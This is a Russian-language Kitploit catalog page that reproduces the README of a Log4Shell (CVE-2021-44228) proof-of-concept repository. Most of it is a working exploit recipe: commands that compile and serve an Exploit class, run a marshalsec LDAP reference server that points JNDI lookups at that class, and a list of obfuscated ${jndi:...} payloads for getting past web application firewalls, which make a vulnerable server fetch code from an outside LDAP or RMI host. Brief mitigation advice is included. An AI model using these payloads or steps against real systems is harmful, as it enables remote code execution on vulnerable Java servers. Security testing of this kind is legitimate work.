Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228-Apache-Log4j-Rce — Эксплойт proof-of-concept для CVE-2021-44228 (Log4Shell) с инъекцией JNDI, LDAP-сервером ссылок и методами обхода WAF для тестирования уязвимостей RCE в Log4j. | Kitploit
Инструменты/GitHubGitHub/yuuki1967/cve-2021-44228-apache-log4j-rce
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFТестирование на Проникновение
GitHubyuuki1967/cve-2021-44228-apache-log4j-rce

CVE-2021-44228-Apache-Log4j-Rce

Эксплойт proof-of-concept для CVE-2021-44228 (Log4Shell) с инъекцией JNDI, LDAP-сервером ссылок и методами обхода WAF для тестирования уязвимостей RCE в Log4j.

Репозиторий
38 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-44228(Apache Log4j Удаленное выполнение кода)

все версии log4j-core >=2.0-beta9 и <=2.14.1

Версии 1.x имеют другие уязвимости, мы рекомендуем обновиться до последней версии.

Рекомендации по безопасности / Бюллетени, связанные с Log4Shell (CVE-2021-44228)

Использование:

скачайте этот проект, скомпилируйте эксплойт blob/master/src/main/java/Exploit.java и запустите веб-сервер, позволяющий скачать скомпилированный бинарный файл.

root@kitploit:~
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce

javac Exploit.java

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888

# make sure python webserver is running the same directory as Exploit.class, to test
  curl -I 127.0.0.1:8888/Exploit.class

скачайте другой проект и запустите LDAP-сервер, возвращающий JNDI-ссылки https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

соберите и запустите код активации (симуляция атаки log4j на уязвимый java веб-сервер) blob/master/src/main/java/log4j.java, и появится приложение-калькулятор.

root@kitploit:~
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
#  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -


Советы:

Не полагайтесь на текущую версию Java, чтобы спастись. Обновите Log4 (или удалите JNDI lookup). Отключите расширение (в любом случае это кажется плохой идеей).

Обход rc1

Например:

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/ badClassName}

Обход WAF

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

Не доверяйте межсетевому экрану веб-приложений.

Детали уязвимости

Lookups предоставляют способ добавления значений в конфигурацию Log4j в произвольных местах.

Lookups

Методы, вызывающие утечку в блоке finally

root@kitploit:~
LogManager.getLogger().error()
LogManager.getLogger().fatal()

Простой метод проверки

Если вы хотите провести тестирование методом "черного ящика", я предлагаю выполнить пассивное сканирование.

BurpLog4jScan

Удачи!!! BurpLog4jScan.png

Количество звезд за всё время

Количество звезд за всё время

Скачать инструмент